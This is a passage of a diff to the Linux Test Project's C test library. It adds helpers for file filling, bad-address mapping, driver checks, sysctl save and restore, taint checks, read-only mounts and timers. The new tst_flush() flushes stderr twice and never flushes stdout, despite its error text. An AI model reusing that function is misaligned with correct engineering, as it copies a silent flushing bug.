+int tst_fill_fd(int fd, char pattern, size_t bs, size_t bcount)
 {
-	int fd;
-	size_t counter;
+	size_t i;
 	char *buf;
 
-	fd = open(path, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR|S_IWUSR);
-	if (fd < 0)
-		return -1;
-
 	/* Filling a memory buffer with provided pattern */
 	buf = malloc(bs);
-	if (buf == NULL) {
-		close(fd);
-
+	if (buf == NULL)
 		return -1;
-	}
 
-	for (counter = 0; counter < bs; counter++)
-		buf[counter] = pattern;
+	for (i = 0; i < bs; i++)
+		buf[i] = pattern;
 
 	/* Filling the file */
-	for (counter = 0; counter < bcount; counter++) {
+	for (i = 0; i < bcount; i++) {
 		if (write(fd, buf, bs) != (ssize_t)bs) {
 			free(buf);
-			close(fd);
-			unlink(path);
-
 			return -1;
 		}
 	}
 
 	free(buf);
 
+	return 0;
+}
+
+int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount)
+{
+	int fd;
+
+	fd = open(path, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR|S_IWUSR);
+	if (fd < 0)
+		return -1;
+
+	if (tst_fill_fd(fd, pattern, bs, bcount)) {
+		close(fd);
+		unlink(path);
+		return -1;
+	}
+
 	if (close(fd) < 0) {
 		unlink(path);
 
diff --git a/lib/tst_get_bad_addr.c b/lib/tst_get_bad_addr.c
new file mode 100644
index 0000000..098e72b
--- /dev/null
+++ b/lib/tst_get_bad_addr.c
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <sys/mman.h>
+#include "test.h"
+#include "tst_get_bad_addr.h"
+
+void *tst_get_bad_addr(void (*cleanup_fn) (void))
+{
+	void *bad_addr;
+
+	bad_addr = mmap(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+	if (bad_addr == MAP_FAILED)
+		tst_brkm(TBROK, cleanup_fn, "mmap() failed to get bad address");
+
+	return bad_addr;
+}
diff --git a/lib/tst_kernel.c b/lib/tst_kernel.c
index 8edafb8..a7fd38b 100644
--- a/lib/tst_kernel.c
+++ b/lib/tst_kernel.c
@@ -80,3 +80,20 @@
 
 	return kernel_bits;
 }
+
+int tst_check_driver(const char *name)
+{
+#ifndef __ANDROID__
+	const char * const argv[] = { "modprobe", "-n", name, NULL };
+	int res = tst_run_cmd_(NULL, argv, "/dev/null", "/dev/null", 1);
+
+	/* 255 - it looks like modprobe not available */
+	return (res == 255) ? 0 : res;
+#else
+	/* Android modprobe may not have '-n', or properly installed
+	 * module.*.bin files to determine built-in drivers. Assume
+	 * all drivers are available.
+	 */
+	return 0;
+#endif
+}
diff --git a/lib/tst_mkfs.c b/lib/tst_mkfs.c
index 7385a93..a33d36a 100644
--- a/lib/tst_mkfs.c
+++ b/lib/tst_mkfs.c
@@ -24,12 +24,13 @@
 
 void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
 	       const char *dev, const char *fs_type,
-	       const char *const fs_opts[], const char *extra_opt)
+	       const char *const fs_opts[], const char *const extra_opts[])
 {
 	int i, pos = 1, ret;
 	char mkfs[64];
 	const char *argv[OPTS_MAX] = {mkfs};
 	char fs_opts_str[1024] = "";
+	char extra_opts_str[1024] = "";
 
 	if (!dev) {
 		tst_brkm(TBROK, cleanup_fn,
@@ -64,13 +65,19 @@
 
 	argv[pos++] = dev;
 
-	if (extra_opt) {
-		argv[pos++] = extra_opt;
+	if (extra_opts) {
+		for (i = 0; extra_opts[i]; i++) {
+			argv[pos++] = extra_opts[i];
 
-		if (pos + 1 > OPTS_MAX) {
-			tst_brkm(TBROK, cleanup_fn,
-			         "%s:%d: Too much mkfs options", file, lineno);
-			return;
+			if (pos + 1 > OPTS_MAX) {
+				tst_brkm(TBROK, cleanup_fn,
+				         "%s:%d: Too much mkfs options", file, lineno);
+				return;
+			}
+
+			if (i)
+				strcat(extra_opts_str, " ");
+			strcat(extra_opts_str, extra_opts[i]);
 		}
 	}
 
@@ -80,7 +87,7 @@
 		tst_brkm(TBROK, cleanup_fn, "tst_clear_device() failed");
 
 	tst_resm(TINFO, "Formatting %s with %s opts='%s' extra opts='%s'",
-	         dev, fs_type, fs_opts_str, extra_opt ? extra_opt : "");
+	         dev, fs_type, fs_opts_str, extra_opts_str);
 	ret = tst_run_cmd(cleanup_fn, argv, "/dev/null", NULL, 1);
 
 	switch (ret) {
diff --git a/lib/tst_path_has_mnt_flags.c b/lib/tst_path_has_mnt_flags.c
index ea910ea..154bf41 100644
--- a/lib/tst_path_has_mnt_flags.c
+++ b/lib/tst_path_has_mnt_flags.c
@@ -25,7 +25,7 @@
  * Check whether a path is on a filesystem that is mounted with
  * specified flags.
  */
-int tst_path_has_mnt_flags(void (cleanup_fn)(void),
+int tst_path_has_mnt_flags_(void (cleanup_fn)(void),
 		const char *path, const char *flags[])
 {
 	struct mntent *mnt;
diff --git a/lib/tst_res.c b/lib/tst_res.c
index b56f37d..c35f41b 100644
--- a/lib/tst_res.c
+++ b/lib/tst_res.c
@@ -55,6 +55,7 @@
 
 long TEST_RETURN;
 int TEST_ERRNO;
+void *TST_RET_PTR;
 
 #define VERBOSE      1
 #define NOPASS       3
@@ -245,7 +246,7 @@
 	Buffered = TRUE;
 }
 
-void tst_flush(void)
+void tst_old_flush(void)
 {
 	NO_NEWLIB_ASSERT("Unknown", 0);
 
@@ -346,10 +347,10 @@
 	}
 
 	if (ttype & TRERRNO) {
+		err = TEST_RETURN < 0 ? -(int)TEST_RETURN : (int)TEST_RETURN;
 		size += snprintf(message + size, sizeof(message) - size,
 				 ": TEST_RETURN=%s(%i): %s",
-				 tst_strerrno(TEST_RETURN), (int)TEST_RETURN,
-				 strerror(TEST_RETURN));
+				 tst_strerrno(err), err, strerror(err));
 	}
 
 	if (size + 1 >= sizeof(message)) {
@@ -399,7 +400,7 @@
 
 	pthread_mutex_lock(&tmutex);
 
-	tst_flush();
+	tst_old_flush();
 
 	T_exitval &= ~TINFO;
 
@@ -415,7 +416,7 @@
 
 	NO_NEWLIB_ASSERT("Unknown", 0);
 
-	tst_flush();
+	tst_old_flush();
 
 	child = fork();
 	if (child == 0)
@@ -460,7 +461,7 @@
 {
 	NO_NEWLIB_ASSERT("Unknown", 0);
 
-	tst_flush();
+	tst_old_flush();
 	return vfork();
 }
 
diff --git a/lib/tst_safe_macros.c b/lib/tst_safe_macros.c
index b65a22b..c375030 100644
--- a/lib/tst_safe_macros.c
+++ b/lib/tst_safe_macros.c
@@ -89,3 +89,111 @@
 
 	return prev_persona;
 }
+
+int safe_setregid(const char *file, const int lineno,
+		  gid_t rgid, gid_t egid)
+{
+	int rval;
+
+	rval = setregid(rgid, egid);
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "setregid(%li, %li) failed",
+			 (long)rgid, (long)egid);
+	}
+
+	return rval;
+}
+
+
+int safe_setreuid(const char *file, const int lineno,
+		  uid_t ruid, uid_t euid)
+{
+	int rval;
+
+	rval = setreuid(ruid, euid);
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "setreuid(%li, %li) failed",
+			 (long)ruid, (long)euid);
+	}
+
+	return rval;
+}
+
+
+int safe_sigaction(const char *file, const int lineno,
+                   int signum, const struct sigaction *act,
+                   struct sigaction *oldact)
+{
+	int rval;
+
+	rval = sigaction(signum, act, oldact);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"sigaction(%s (%d), %p, %p) failed",
+			tst_strsig(signum), signum, act, oldact);
+	}
+
+	return rval;
+}
+
+struct group *safe_getgrnam(const char *file, const int lineno,
+			    const char *name)
+{
+	struct group *rval;
+
+	errno = 0;
+	rval = getgrnam(name);
+	if (rval == NULL) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"getgrnam(%s) failed", name);
+	}
+
+	return rval;
+}
+
+struct group *safe_getgrnam_fallback(const char *file, const int lineno,
+				     const char *name, const char *fallback)
+{
+	struct group *rval;
+
+	errno = 0;
+	rval = getgrnam(name);
+	if (rval == NULL) {
+		tst_res_(file, lineno, TINFO,
+			 "getgrnam(%s) failed - try fallback %s",
+			 name, fallback);
+		rval = safe_getgrnam(file, lineno, fallback);
+	}
+
+	return rval;
+}
+
+struct group *safe_getgrgid(const char *file, const int lineno, gid_t gid)
+{
+	struct group *rval;
+
+	errno = 0;
+	rval = getgrgid(gid);
+	if (rval == NULL) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"getgrgid(%li) failed", (long)gid);
+	}
+
+	return rval;
+}
+
+int safe_chroot(const char *file, const int lineno, const char *path)
+{
+	int rval;
+
+	rval = chroot(path);
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "chroot(%s) failed", path);
+	}
+
+	return rval;
+}
diff --git a/lib/tst_safe_sysv_ipc.c b/lib/tst_safe_sysv_ipc.c
index ff53a24..86f2d93 100644
--- a/lib/tst_safe_sysv_ipc.c
+++ b/lib/tst_safe_sysv_ipc.c
@@ -23,6 +23,24 @@
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
 
+/*
+ * The IPC_STAT, IPC_SET and IPC_RMID can return either 0 or -1.
+ *
+ * Linux specific cmds either returns -1 on failure or positive integer
+ * either index into an kernel array or shared primitive indentifier.
+ */
+static int ret_check(int cmd, int ret)
+{
+	switch (cmd) {
+	case IPC_STAT:
+	case IPC_SET:
+	case IPC_RMID:
+		return ret != 0;
+	default:
+		return ret == -1;
+	}
+}
+
 int safe_msgget(const char *file, const int lineno, key_t key, int msgflg)
 {
 	int rval;
@@ -72,11 +90,13 @@
 	int rval;
 
 	rval = msgctl(msqid, cmd, buf);
-	if (rval == -1) {
-		tst_brk(TBROK | TERRNO, "%s:%d: msgctl(%i, %i, %p) failed",
-			file, lineno, msqid, cmd, buf);
+	if (ret_check(cmd, rval)) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: msgctl(%i, %i, %p) = %i failed",
+			file, lineno, msqid, cmd, buf, rval);
 	}
 
+
 	return rval;
 }
 
@@ -127,9 +147,10 @@
 	int rval;
 
 	rval = shmctl(shmid, cmd, buf);
-	if (rval == -1) {
-		tst_brk(TBROK | TERRNO, "%s:%d: shmctl(%i, %i, %p) failed",
-			file, lineno, shmid, cmd, buf);
+	if (ret_check(cmd, rval)) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: shmctl(%i, %i, %p) = %i failed",
+			file, lineno, shmid, cmd, buf, rval);
 	}
 
 	return rval;
diff --git a/lib/tst_supported_fs_types.c b/lib/tst_supported_fs_types.c
index a23b1ed..b7e647f 100644
--- a/lib/tst_supported_fs_types.c
+++ b/lib/tst_supported_fs_types.c
@@ -100,7 +100,7 @@
 	return 1;
 }
 
-static int is_supported(const char *fs_type)
+int tst_fs_is_supported(const char *fs_type)
 {
 	return has_kernel_support(fs_type) && has_mkfs(fs_type);
 }
@@ -110,7 +110,7 @@
 	unsigned int i, j = 0;
 
 	for (i = 0; fs_type_whitelist[i]; i++) {
-		if (is_supported(fs_type_whitelist[i]))
+		if (tst_fs_is_supported(fs_type_whitelist[i]))
 			fs_types[j++] = fs_type_whitelist[i];
 	}
 
diff --git a/lib/tst_sys_conf.c b/lib/tst_sys_conf.c
new file mode 100644
index 0000000..9eccfbd
--- /dev/null
+++ b/lib/tst_sys_conf.c
@@ -0,0 +1,96 @@
+/*
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Copyright (c) 2018 Jan Stancek <jstancek@redhat.com>
+ */
+
+#include <limits.h>
+#include <stdio.h>
+#include <unistd.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_sys_conf.h"
+
+static struct tst_sys_conf *save_restore_data;
+
+void tst_sys_conf_dump(void)
+{
+	struct tst_sys_conf *i;
+
+	for (i = save_restore_data; i; i = i->next)
+		tst_res(TINFO, "%s = %s", i->path, i->value);
+}
+
+int tst_sys_conf_save_str(const char *path, const char *value)
+{
+	struct tst_sys_conf *n = SAFE_MALLOC(sizeof(*n));
+
+	strncpy(n->path, path, sizeof(n->path));
+	strncpy(n->value, value, sizeof(n->value));
+
+	n->next = save_restore_data;
+	save_restore_data = n;
+
+	return 0;
+}
+
+int tst_sys_conf_save(const char *path)
+{
+	char line[PATH_MAX];
+	FILE *fp;
+	void *ret;
+	char flag;
+
+	if (!path)
+		tst_brk(TBROK, "path is empty");
+
+	flag = path[0];
+	if (flag  == '?' || flag == '!')
+		path++;
+
+	if (access(path, F_OK) != 0) {
+		switch (flag) {
+		case '?':
+			tst_res(TINFO, "Path not found: '%s'", path);
+			break;
+		case '!':
+			tst_brk(TBROK|TERRNO, "Path not found: '%s'", path);
+			break;
+		default:
+			tst_brk(TCONF|TERRNO, "Path not found: '%s'", path);
+		}
+		return 1;
+	}
+
+	fp = fopen(path, "r");
+	if (fp == NULL) {
+		tst_brk(TBROK | TERRNO, "Failed to open FILE '%s' for reading",
+			path);
+		return 1;
+	}
+
+	ret = fgets(line, sizeof(line), fp);
+	fclose(fp);
+
+	if (ret == NULL) {
+		tst_brk(TBROK | TERRNO, "Failed to read anything from '%s'",
+			path);
+	}
+
+	return tst_sys_conf_save_str(path, line);
+}
+
+void tst_sys_conf_restore(int verbose)
+{
+	struct tst_sys_conf *i;
+
+	for (i = save_restore_data; i; i = i->next) {
+		if (verbose) {
+			tst_res(TINFO, "Restoring conf.: %s -> %s\n",
+				i->path, i->value);
+		}
+		FILE_PRINTF(i->path, "%s", i->value);
+	}
+}
+
diff --git a/lib/tst_taint.c b/lib/tst_taint.c
new file mode 100644
index 0000000..a5dbf77
--- /dev/null
+++ b/lib/tst_taint.c
@@ -0,0 +1,102 @@
+#define TST_NO_DEFAULT_MAIN
+
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_safe_stdio.h"
+
+#define TAINT_FILE "/proc/sys/kernel/tainted"
+
+static unsigned int taint_mask = -1;
+
+static unsigned int tst_taint_read(void)
+{
+	unsigned int val;
+
+	SAFE_FILE_SCANF(TAINT_FILE, "%u", &val);
+
+	return val;
+}
+
+static int tst_taint_check_kver(unsigned int mask)
+{
+	int r1;
+	int r2;
+	int r3 = 0;
+
+	if (mask & TST_TAINT_X) {
+		r1 = 4;
+		r2 = 15;
+	} else if (mask & TST_TAINT_K) {
+		r1 = 4;
+		r2 = 0;
+	} else if (mask & TST_TAINT_L) {
+		r1 = 3;
+		r2 = 17;
+	} else if (mask & TST_TAINT_E) {
+		r1 = 3;
+		r2 = 15;
+	} else if (mask & TST_TAINT_O) {
+		r1 = 3;
+		r2 = 2;
+	} else if (mask & TST_TAINT_I) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 35;
+	} else if (mask & TST_TAINT_C) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 28;
+	} else if (mask & TST_TAINT_W) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 26;
+	} else if (mask & TST_TAINT_A) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 25;
+	} else if (mask & TST_TAINT_D) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 23;
+	} else if (mask & TST_TAINT_U) {
+		r1 = 2;
+		r2 = 6;
+		r3 = 21;
+	} else {
+		r1 = 2;
+		r2 = 6;
+		r3 = 16;
+	}
+
+	return tst_kvercmp(r1, r2, r3);
+}
+
+void tst_taint_init(unsigned int mask)
+{
+	unsigned int taint = -1;
+
+	if (mask == 0)
+		tst_brk(TBROK, "mask is not allowed to be 0");
+
+	if (tst_taint_check_kver(mask) < 0)
+		tst_res(TCONF, "Kernel is too old for requested mask");
+
+	taint_mask = mask;
+
+	taint = tst_taint_read();
+	if ((taint & mask) != 0)
+		tst_brk(TBROK, "Kernel is already tainted: %u", taint);
+}
+
+
+unsigned int tst_taint_check(void)
+{
+	unsigned int taint = -1;
+
+	if (taint_mask == (unsigned int) -1)
+		tst_brk(TBROK, "need to call tst_taint_init() first");
+
+	taint = tst_taint_read();
+
+	return (taint & taint_mask);
+}
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 1df4b72..661fbbf 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -24,7 +24,6 @@
 #include <sys/mount.h>
 #include <sys/types.h>
 #include <sys/wait.h>
-#include <sys/time.h>
 
 #define TST_NO_DEFAULT_MAIN
 #include "tst_test.h"
@@ -34,6 +33,9 @@
 #include "tst_ansi_color.h"
 #include "tst_safe_stdio.h"
 #include "tst_timer_test.h"
+#include "tst_clocks.h"
+#include "tst_timer.h"
+#include "tst_sys_conf.h"
 
 #include "old_resource.h"
 #include "old_device.h"
@@ -46,6 +48,7 @@
 static float duration = -1;
 static pid_t main_pid, lib_pid;
 static int mntpoint_mounted;
+static struct timespec tst_start_time; /* valid only for test pid */
 
 struct results {
 	int passed;
@@ -69,6 +72,9 @@
 
 static char shm_path[1024];
 
+int TST_ERR;
+long TST_RET;
+
 static void do_cleanup(void);
 static void do_exit(int ret) __attribute__ ((noreturn));
 
@@ -101,7 +107,7 @@
 	results = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, ipc_fd, 0);
 
 	/* Checkpoints needs to be accessible from processes started by exec() */
-	if (tst_test->needs_checkpoints) {
+	if (tst_test->needs_checkpoints || tst_test->child_needs_reinit) {
 		sprintf(ipc_path, IPC_ENV_VAR "=%s", shm_path);
 		putenv(ipc_path);
 	} else {
@@ -137,7 +143,6 @@
 	const char *path = getenv(IPC_ENV_VAR);
 	size_t size = getpagesize();
 	int fd;
-	void *ptr;
 
 	if (!path)
 		tst_brk(TBROK, IPC_ENV_VAR" is not defined");
@@ -147,8 +152,8 @@
 
 	fd = SAFE_OPEN(path, O_RDWR);
 
-	ptr = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
-	tst_futexes = (char*)ptr + sizeof(struct results);
+	results = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+	tst_futexes = (char*)results + sizeof(struct results);
 	tst_max_futexes = (size - sizeof(struct results))/sizeof(futex_t);
 
 	SAFE_CLOSE(fd);
@@ -212,7 +217,12 @@
 		str_errno = tst_strerrno(errno);
 
 	if (ttype & TTERRNO)
-		str_errno = tst_strerrno(TEST_ERRNO);
+		str_errno = tst_strerrno(TST_ERR);
+
+	if (ttype & TRERRNO) {
+		ret = TST_RET < 0 ? -(int)TST_RET : (int)TST_RET;
+		str_errno = tst_strerrno(ret);
+	}
 
 	ret = snprintf(str, size, "%s:%i: ", file, lineno);
 	str += ret;
@@ -343,6 +353,7 @@
 	case TBROK:
 	case TCONF:
 		tst_brk(ret, "Reported by child (%i)", pid);
+	break;
 	default:
 		tst_brk(TBROK, "Invalid child (%i) exit value %i", pid, ret);
 	}
@@ -379,7 +390,7 @@
 	if (!tst_test->forks_child)
 		tst_brk(TBROK, "test.forks_child must be set!");
 
-	fflush(stdout);
+	tst_flush();
 
 	pid = fork();
 	if (pid < 0)
@@ -484,6 +495,7 @@
 		case '?':
 			print_help();
 			tst_brk(TBROK, "Invalid option");
+		break;
 		case 'h':
 			print_help();
 			exit(0);
@@ -632,6 +644,7 @@
 {
 	return tst_test->needs_tmpdir ||
 	       tst_test->needs_device ||
+	       tst_test->mntpoint ||
 	       tst_test->resource_files ||
 	       tst_test->needs_checkpoints;
 }
@@ -689,11 +702,57 @@
 		tst_brk(TBROK, "You can define tcnt only for test()");
 }
 
+static int prepare_and_mount_ro_fs(const char *dev,
+                                   const char *mntpoint,
+                                   const char *fs_type)
+{
+	char buf[PATH_MAX];
+
+	if (mount(dev, mntpoint, fs_type, 0, NULL)) {
+		tst_res(TINFO | TERRNO, "Can't mount %s at %s (%s)",
+			dev, mntpoint, fs_type);
+		return 1;
+	}
+
+	mntpoint_mounted = 1;
+
+	snprintf(buf, sizeof(buf), "%s/dir/", mntpoint);
+	SAFE_MKDIR(buf, 0777);
+
+	snprintf(buf, sizeof(buf), "%s/file", mntpoint);
+	SAFE_FILE_PRINTF(buf, "file content");
+	SAFE_CHMOD(buf, 0777);
+
+	SAFE_MOUNT(dev, mntpoint, fs_type, MS_REMOUNT | MS_RDONLY, NULL);
+
+	return 0;
+}
+
+static void prepare_and_mount_dev_fs(const char *mntpoint)
+{
+	const char *flags[] = {"nodev", NULL};
+	int mounted_nodev;
+
+	mounted_nodev = tst_path_has_mnt_flags(NULL, flags);
+	if (mounted_nodev) {
+		tst_res(TINFO, "tmpdir isn't suitable for creating devices, "
+			"mounting tmpfs without nodev on %s", mntpoint);
+		SAFE_MOUNT(NULL, mntpoint, "tmpfs", 0, NULL);
+		mntpoint_mounted = 1;
+	}
+}
+
 static void prepare_device(void)
 {
 	if (tst_test->format_device) {
 		SAFE_MKFS(tdev.dev, tdev.fs_type, tst_test->dev_fs_opts,
-			  tst_test->dev_extra_opt);
+			  tst_test->dev_extra_opts);
+	}
+
+	if (tst_test->needs_rofs) {
+		prepare_and_mount_ro_fs(tdev.dev, tst_test->mntpoint,
+		                        tdev.fs_type);
+		return;
 	}
 
 	if (tst_test->mount_device) {
@@ -726,6 +785,15 @@
 	if (tst_test->min_kver)
 		check_kver();
 
+	if (tst_test->needs_drivers) {
+		const char *name;
+		int i;
+
+		for (i = 0; (name = tst_test->needs_drivers[i]); ++i)
+			if (tst_check_driver(name))
+				tst_brk(TCONF, "%s driver not available", name);
+	}
+
 	if (tst_test->format_device)
 		tst_test->needs_device = 1;
 
@@ -742,28 +810,42 @@
 	if (needs_tmpdir() && !tst_tmpdir_created())
 		tst_tmpdir();
 
+	if (tst_test->save_restore) {
+		const char * const *name = tst_test->save_restore;
+
+		while (*name) {
+			tst_sys_conf_save(*name);
+			name++;
+		}
+	}
+
 	if (tst_test->mntpoint)
 		SAFE_MKDIR(tst_test->mntpoint, 0777);
 
-	if ((tst_test->needs_rofs || tst_test->mount_device ||
-	     tst_test->all_filesystems) && !tst_test->mntpoint) {
+	if ((tst_test->needs_devfs || tst_test->needs_rofs ||
+	     tst_test->mount_device || tst_test->all_filesystems) &&
+	     !tst_test->mntpoint) {
 		tst_brk(TBROK, "tst_test->mntpoint must be set!");
 	}
 
+	if (!!tst_test->needs_rofs + !!tst_test->needs_devfs +
+	    !!tst_test->needs_device > 1) {
+		tst_brk(TBROK,
+			"Two or more of needs_{rofs, devfs, device} are set");
+	}
+
+	if (tst_test->needs_devfs)
+		prepare_and_mount_dev_fs(tst_test->mntpoint);
+
 	if (tst_test->needs_rofs) {
 		/* If we failed to mount read-only tmpfs. Fallback to
-		 * using a device with empty read-only filesystem.
+		 * using a device with read-only filesystem.
 		 */
-		if (mount(NULL, tst_test->mntpoint, "tmpfs", MS_RDONLY, NULL)) {
-			tst_res(TINFO | TERRNO, "Can't mount tmpfs read-only"
-				" at %s, setting up a device instead\n",
-				tst_test->mntpoint);
-			tst_test->mount_device = 1;
+		if (prepare_and_mount_ro_fs(NULL, tst_test->mntpoint, "tmpfs")) {
+			tst_res(TINFO, "Can't mount tmpfs read-only, "
+			        "falling back to block device...");
 			tst_test->needs_device = 1;
 			tst_test->format_device = 1;
-			tst_test->mnt_flags = MS_RDONLY;
-		} else {
-			mntpoint_mounted = 1;
 		}
 	}
 
@@ -813,6 +895,9 @@
 		tst_rmdir();
 	}
 
+	if (tst_test->save_restore)
+		tst_sys_conf_restore(0);
+
 	cleanup_ipc();
 }
 
@@ -853,11 +938,12 @@
 
 static unsigned long long get_time_ms(void)
 {
-	struct timeval tv;
+	struct timespec ts;
 
-	gettimeofday(&tv, NULL);
+	if (tst_clock_gettime(CLOCK_MONOTONIC, &ts))
+		tst_brk(TBROK | TERRNO, "tst_clock_gettime()");
 
-	return tv.tv_sec * 1000 + tv.tv_usec / 1000;
+	return tst_timespec_to_ms(ts);
 }
 
 static void add_paths(void)
@@ -879,6 +965,9 @@
 
 static void heartbeat(void)
 {
+	if (tst_clock_gettime(CLOCK_MONOTONIC, &tst_start_time))
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
+
 	kill(getppid(), SIGUSR1);
 }
 
@@ -888,6 +977,7 @@
 	unsigned long long stop_time = 0;
 	int cont = 1;
 
+	heartbeat();
 	add_paths();
 	do_test_setup();
 
@@ -955,6 +1045,21 @@
 	}
 }
 
+unsigned int tst_timeout_remaining(void)
+{
+	static struct timespec now;
+	unsigned int elapsed;
+
+	if (tst_clock_gettime(CLOCK_MONOTONIC, &now))
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
+
+	elapsed = (tst_timespec_diff_ms(now, tst_start_time) + 500) / 1000;
+	if (results->timeout > elapsed)
+		return results->timeout - elapsed;
+
+	return 0;
+}
+
 void tst_set_timeout(int timeout)
 {
 	char *mul = getenv("LTP_TIMEOUT_MUL");
@@ -1037,6 +1142,8 @@
 		tst_brk(TCONF, "There are no supported filesystems");
 
 	for (i = 0; filesystems[i]; i++) {
+
+		tst_res(TINFO, "Testing on %s", filesystems[i]);
 		tdev.fs_type = filesystems[i];
 
 		prepare_device();
@@ -1083,3 +1190,18 @@
 
 	do_exit(ret);
 }
+
+
+void tst_flush(void)
+{
+	int rval;
+
+	rval = fflush(stderr);
+	if (rval != 0)
+		tst_brk(TBROK | TERRNO, "fflush(stderr) failed");
+
+	rval = fflush(stderr);
+	if (rval != 0)
+		tst_brk(TBROK | TERRNO, "fflush(stdout) failed");
+
+}
diff --git a/lib/tst_timer.c b/lib/tst_timer.c
index afdb441..dffaba0 100644
--- a/lib/tst_timer.c
+++ b/lib/tst_timer.c
@@ -1,29 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
 
 #include <errno.h>
 
-#include "test.h"
+#define TST_NO_DEFAULT_MAIN
+
+#include "tst_test.h"
 #include "tst_timer.h"
 #include "tst_clocks.h"
 #include "lapi/posix_clocks.h"
@@ -59,13 +43,13 @@
 {
 	if (tst_clock_gettime(clk_id, &start_time)) {
 		if (errno == EINVAL) {
-			tst_brkm(TCONF, NULL,
+			tst_brk(TCONF,
 			         "Clock id %s(%u) not supported by kernel",
 				 clock_name(clk_id), clk_id);
 			return;
 		}
 
-		tst_brkm(TBROK | TERRNO, NULL, "tst_clock_gettime() failed");
+		tst_brk(TBROK | TERRNO, "tst_clock_gettime() failed");
 	}
 }
 
@@ -74,13 +58,23 @@
 	clock_id = clk_id;
 
 	if (tst_clock_gettime(clock_id, &start_time))
-		tst_resm(TWARN | TERRNO, "tst_clock_gettime() failed");
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
+}
+
+int tst_timer_expired_ms(long long ms)
+{
+	struct timespec cur_time;
+
+	if (tst_clock_gettime(clock_id, &cur_time))
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
+
+	return tst_timespec_diff_ms(cur_time, start_time) >= ms;
 }
 
 void tst_timer_stop(void)
 {
 	if (tst_clock_gettime(clock_id, &stop_time))
-		tst_resm(TWARN | TERRNO, "tst_clock_gettime() failed");
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
 }
 
 struct timespec tst_timer_elapsed(void)
diff --git a/m4/ltp-execveat.m4 b/m4/ltp-execveat.m4
new file mode 100644
index 0000000..8cb6147
--- /dev/null
+++ b/m4/ltp-execveat.m4
@@ -0,0 +1,25 @@
+dnl
+dnl Copyright (c) Linux Test Project, 2014
+dnl
+dnl This program is free software;  you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+dnl the GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program;  if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+dnl
+
+dnl
+dnl LTP_CHECK_EXECVEAT
+dnl ----------------------------
+dnl
+AC_DEFUN([LTP_CHECK_EXECVEAT],[
+AC_CHECK_FUNCS(execveat,,)
+])
diff --git a/m4/ltp-numa.m4 b/m4/ltp-numa.m4
index fc3383e..633f54c 100644
--- a/m4/ltp-numa.m4
+++ b/m4/ltp-numa.m4
@@ -28,11 +28,11 @@
 	AC_CHECK_HEADERS([numa.h numaif.h], [], [have_numa_headers=no])
 
